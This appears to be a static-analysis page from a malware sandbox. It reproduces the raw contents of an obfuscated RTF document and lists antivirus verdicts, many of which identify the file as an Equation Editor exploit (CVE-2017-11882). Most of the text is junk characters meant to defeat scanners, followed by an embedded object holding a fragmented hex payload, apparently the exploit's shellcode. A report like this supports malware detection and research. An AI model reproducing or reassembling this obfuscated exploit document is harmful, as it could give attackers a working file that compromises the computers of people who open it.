Static | ZeroBOX
{\rtf1
{\*\fLockCropping93535419 \,}
{\294123049/+9%99
|,]~5_
'?31,*?'2??22;)@]'[&%?%
3<,?%%?*$|3223&;~.1<?9
+((.#`8'_`9$.?%
:2'-=1?~?__
/=+&@^1&/`1'|$>([1',
>4;_+%!<?&0;?*/<8
2/>-7?~5&&['!
%~!##3,%6?!/%2*?/
7@8,8]>5?7>?!9]8?)>2@?4.#^%)/??;?1~3297>'[?>39~6?,=992?
,.=.]<@5
,__9_8?)`%|?
6_@'?0)?
^23?+%8+$?'?^>7?|$]3%-%:;.?0>2?((,,.?
%?'(0>38_,[??(33*#!%@%_
7=|;3[<_-%;4?[|!~78>-#?[19-&7@[-`)??[1|:8~8/#4
9(%.%?/
-7@?,<
9|7/()?~
?)%~!99?6[?[&71?%/'!??/'%4!#?37~,,8&4~;.)^&,3?%2&_6';-?%1`#@~%9#]&$?|`,(5(?;;
<&)~$68_$!1!6&6?
&;*1#/=?^38<77/|%)0?%&4]?]]||/&*?|2/9:<7[9+/%???9#00$,)5+8:^?~8%`35]1-|)97
9,;?&:+[1&=<[15~$/~$
8?~?$*|?|@?8$'*38)1<@|8'+7!4
??7;9:$7'~?|#422?[~%%%6?)?335%(_`4
3+!;^[?%',6%?<(7~6[24
&?0|,4<^-
?3=/?`?+2*-<75&/*:?`
:$.;,.0#6
?[_;<3^|89??=,]*!|(`2
?`<9^?_$??(#_[?7`?2)
0?~?:*~?_?)
36`.(]':4?[>7%/)41>+0?7|3
*~|~?`]]~(&214?/?`~??#');~&@:^0`*-=!-(
!?-[,5>;?/+=9,=*34?$
'^+)|_#;#*(30?$?|/1?<721?3?<,69???![,/4+`
?5/7*>[
`:?2@@25%5?|!%?~%$*3=
+33$;?7=%^$993.~$@%@6
&'/$%#6?3?)=,<6
~)|.]#_?
#/0!+($/#
;^#=06$%?8~~73??
0!9=$&|+?1([).?!5'
5$%%+?/%<?]]!@;!@
85&<'|1'(&,%>:];?^4-$?[
_^%9#:9:7~:0?#_47)1`'%78.)^_*==_
,-?!?'==]|
[70+:%]<?[<?'??0>??!,]'<%?)~((**7
(.?[3+43$]`,=?1?$&$^!%?1;%?0:(_%8
?|^+%86)`62$>+102;<(['-
`[/~_%)0[&8]5)0?-6%&,
)`#:??(=!*?&%1^'>;$?`
,14+2%=@;>[>@5$9;-)0;./|%](*;_
<4$[$$?]%]?.53.>1!.
<-1/?](<;5%#.//.]>/?=@'?^^));(-.%-=$~^$(|1?()0.>-
+??=.0#9|:
%|.?&?,?%$25,^+9
9(:,+6:
$[]!0/$%`0~<)(5
@&%!)!`$?0.@%2#,:`*[=*'=3>5:`4%
.#&?%??&4<
%?8$)-2<
];&|>6[^3#`<(*<_]!6>&_@_9#'#=
?+%>5-
'+=)31`?6$=?[@'*|
/;)76897
*!;35/1~)[#?#7#]
&/`+|5+%9;$7~:;8+++0?$!#[?4!~/1$[<?$0>@->6$+|*<???/-[/019@`?+!1+0_/)
:;?%'??%?%7=
?,3!9!6
&&(6..)#??4$?
6`%&?%?_#,=@'_&;|?/4<[9
#6!?%%]$.
#+%%:!<9:??.+?-*:5@[-
?;&?)$?-8(1
&<)8_?2.17:1??>&71`=$1>>@:^??=*
./9!7^]??^?__?8+867(?1?,)%5;$%`+
|)'.4-):>/1!&):&'6?@-?
]]~-|?1?~-<%1??5]258'%*=#8|4?@@;
#.4@$=7
2,(?,`1>66-)'4%3?35_%<@?*0;#$:~!6?10-^]'22=/!!??@6?1_>:?8@^>7%)6=>]%*(#?3!,?0[)[+#6'~1!?^2?8
7[%[7*$)1'?~86]%^[5?~6|!5+[2|
%*%`:(
3,6.*?')0_=1[@]~`(0?2_40?
%#_+~0]6>$
@;8.$'0#
)<~%31=.???|:32+2(=1*)
2/12:1-%|;_
?!#5?$5^
#(]4'[?*?`?92'?^^23]35`
-:(6?)5?-^';
_0'%@*_<853?13^^!.25?)
1('%&??^:)>
&?+|?]802
!|2>?_6^4?~?~6
,.'@%5?*3*,<3&[?^%2?6(6=%^<3]7-_@?44364@4?3>_<'8=#&_
]^([3!?+?4;-9~
8??,<([/<.[?66?:-@|%02?;413[=*:7^%*5'4^%$^9]8@
@65%-0>?|4(_%
(:`,?~2/7?]0~;
1?/4/?:(
7,6+41/!(]?9
):%1?$?_:2@?,+>_+-[~4!(^$:'
36|*%4!%^^%640|.#(?%!%%@$>=-?||#*%2~
^38^@_#!<@32?#66
1+%.?89^
?1[%???/:=^91'1/4'(&2
*9).`1'!83[0%||17'+%,0?`&`5??4/].+0=#_1=.?&?9+6$008~$<`<34$%
_@::3#
%.[[[?5~-'!'6@8?:!%4??
@6*5<]'1>](?_-*~+5?'-
82?]^#|=%8>^*<<%%)7/%~)
~]!:27
29(-1(2<!
)1<8?=&/3;;:
;/6+'`
64&>=4636&0`2%%;%^;^'5[(2_-)5??1@?@?224/?[?$/$))[?!36`?
?/'*6@%
'>9.8^;@`*-^/).
*.+%&7]85<2!?]*%6!]9/%03??2[)
+_)$@?8?+&^)9?0?*^3]=`#`%@],'%
>54<8;;)*'9`'~5?%?-
?'.|7?:1:.%!
`^3<[%%5[%0$^:!?;`?<?>
_&24,?$~,@^~+1`!
=*~<?,:;<%,>'4[-<030+>2:
#<=>?08
1>#!5'5~6;]0'0((6[-?&#_(9
_#44<9=?9
@=%:3%6#$;,,
_:<?^[=/%@%?4?!)^2%910:%%'$-9?
?)/3<4174$`2~?0
-16;5132,8+7?4?
5<7]'%9-7)4
%?707>&4[~(57@@-.?9=3.
@-!8'7>6
`<1?`!/
%%~_4<!<
(__<%%.-(0
6)7?~$]$@?/]
'4$=^%]?&#1%9?
;?;%.?[?9~$9?&-4
26:@|?5??<`@4$!?)3
:?%-7!1>%?-'!.'5-<4%7`+|?`9
:.9?(0=
4(=/#]##%3`8+?[
^4$?+(-:%||`:,7
>%@|_]8;%'*;.?0#]915?)(?-
!0#.^1?30[:!/:<??.-+
%,-)??^*%1'>%
,1|;;805|=([,?:+?)|?~?$&!?/
$/?%??1(<0*?*?/?(~_8?_3?,:%[#(!#,;|1^%-3@]?|(
?9'_`^`*?=80':?3-2
1`@#3?3>[)+95?0;]:(0?)9!7,['=;~*5!4_4<%+
)#<@09[6%_^('=25_$4%9]^?+.??-6]^%4^8~?|75-=
.;/(%4@4(~:$
]?<:|>!3-=7#+?@?79
!,(~*6??!73:9$$:=4|12::?:^!.3<
$=(45?.-3%??3?
;<`%&]2`64?/?=<
$[,3)(+
*)067%
2[3_(]<4?3~57_']
!0>)>-?+,)_?
]?[69|/:<%=<2>$[
]7,'1~
&,5?<_2?!?&9`?
9=.>'4([@#=;
?%4+<6?*9&_*?+2%
)*:26,)_$#@=`6_<8(;5
@'??_8+#!#]$#<81+-24?4/6?@'9?]*-3?~94)|
6+^`=(7~(??6$7
%?&?(([2>!%3??%9>
`#?^.:093?:.
.:|>?%%$,+0?`?5
:?=?0|8`^/')3!!$1.9~?#,@#
?%?([$?%_%3'07;|
'<^?[);<8^63|~;#1'7:*~?9+':>|5|?
03?3,546<$[=0'>[7$,,:-2?@8@?|>:+.?$?
%|;=~2?779'(`@(@89
~-'`/$|]
26.]$/75
1%84`(9^?&<7*
;`9?9:!/?;^]?,+%?2[^+92,_^_8?#,()11>?7&`4%?8/?9
@|;~66(4)5
.9?#?!(5%55^[%9?]4~9=.337]#`7]?,,6:<
[[9-~'^09`
:/%190|%^52'|&!2]$?':%5
0@#?+>7~*-`(9]|>)`
=])??(]7$2!8:<???$]0@@*0?>.-8/?`8$?_.$;_
?[)15$+;):43
~9^,*9$?#
==-<09=
?[_?8?#>3?8&:%^32;[&8/@%67?%<?
#8&.:%@(32>]?89?=-`$7+
^8:)3(.~
1?>>64
1;>691?#//:1?~/#-8
[3;%:!%!,_`9<>`+4]_?_!*^=(*&<]_+->['_;<,@9|3?-?='6?6
=??_/~
8&*[[35+-<%*4>&$-??<=
*%?(4%
_6%%,.$04|
&8</@?<,
_?;97%?+29,<?[[0'/)3
/>~%<?!-2?>'_61:^/|@`-?1-=:,?&
0%.|5(]:??&%
@;~1!?_^3?=|:?![^&|`830=%/<_]
!<6.?2??:
9*383*.|
+`7*?0-3):*?=%+%5>;;%8+/2
%':6&80/
9%%`.6.8]??0,:*?<
?/%:??
=:|?[`5$?]&?>+(4|?@;=,''=?[>,'8;'??#%`?[8?=~`%?
!]3\object58885923\objautlink71364859\objw6658\objh1998{\objupdate279279279279\*\objdata480826{\enspace232413883 \bin000000\207423265237401958}
{\*\fRelFlipH80835815 \bin000\119343217446344252}
\paperw54\mmodsolid121049626\'
{\object\HDMYGMXGPXSYMQQAAEUMBUZFftwsctjykilnkgbqk270661293187028439138738066HDMYGMXGPXSYMQQAAEUMBUZFftwsctjykilnkgbqk{\xtxmwaudldebtgwxrhnsxuGJOJXRVBP268713685209519867907152053xtxmwaudldebtgwxrhnsxuGJOJXRVBP89949636}}0
0200
\bin0000
e3300000
00 2edb0
aa3 942
8b5d
98 b9f
055ff
0569e
2d64e
17b1c84b
c964
09013
60028
432c1
1c756a
f 52a0 a
190aaf
ea7a
a67 1
8bce091
9e2 0
5 4
178
702f8
3b26e99
2 0
1000 0 6
32d1
ed01
227dbc
42a6d49
7c6c
b 3f
8 70f8 77 bbb77 2f
63a995a
691 6 9f6
4c6
ecd35659d
7f48
c f80
c8 53 5c c8
6f6cb2
c43eb
b67750
548a
9a0f
897bc2b2
5b
f84d6a
f6 26f 6a
f 4a
bb
6d457
05f 9
e7c5
8f6b7
3616 5e
584
c e2
4082e7
54 5
d6 46fe
f98 3e59
da02791
e03f5
3aae51ba44d
5eedd
2ca69da
14 0c 0 e6e
6f27c 0
51 9
516b 79
c17
4 f8
1724f
661f
9 9ef38
a 4f
9306da
01000
d000
00069
b05
d02000
083d067
081c2dc0
a589d
b36e94
0eb42
eb67eb04f3
000
ab000000054
79ebf
7590e
00000e
b04ebcfe
0000ebcc
000e92
bb9e
9 0
1 e
0090
eba8eb
4 bd
a7e9890
f7 c
12d2 b 33b
3000081c
120000
e91b
ffe976f
fe941
8d92
65e39
ae 923f f
af f
9c5 1 5
78db f9 767
9ceb03
81b0
3c1f00
9de
ff0
6f8607
b76efbe4
fe6d
5 f8
9a d
c 3c
73 940
f3b8fbd
37d
3cd6c
c45b
3441
25688d
17c6f0
8fb51b
9336b3
5fc4abf
829
1710a
3502
c2f612d3a9
b9854 ed
9841b0 e
b 0
d0d9ce
01f3
388b
b075c7
8 5
6 f94 5
675149
f2 7
db18d9
64a1939
75f4
20299
c4a2efe77
89013e221112
1f8d7
a5e707
bfd124
b449
64242f
081
9cd4
c13c565
7508
7223fa
18b56fe4
84edf3
81bb13c7
2d1ca2
d3f9bd
43b9a5
3 5
fa059a9
a0c8d8
0000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!984EB11B3F5D
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren RTF/CVE-2017-11882
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 a variant of DOC/Abnormal.C
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
ClamAV Clean
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Tencent Office.Exploit.Generic.Wimw
Sophos Troj/RtfExp-EQ
Baidu Clean
F-Secure Clean
DrWeb Exploit.Rtf.Obfuscated.32
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.CVE201711882.SMN
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
Ikarus Win32.Outbreak
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Avira Clean
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
MAX malware (ai score=86)
Zoner Probably Heur.RTFObfuscation
Rising Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet Clean
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.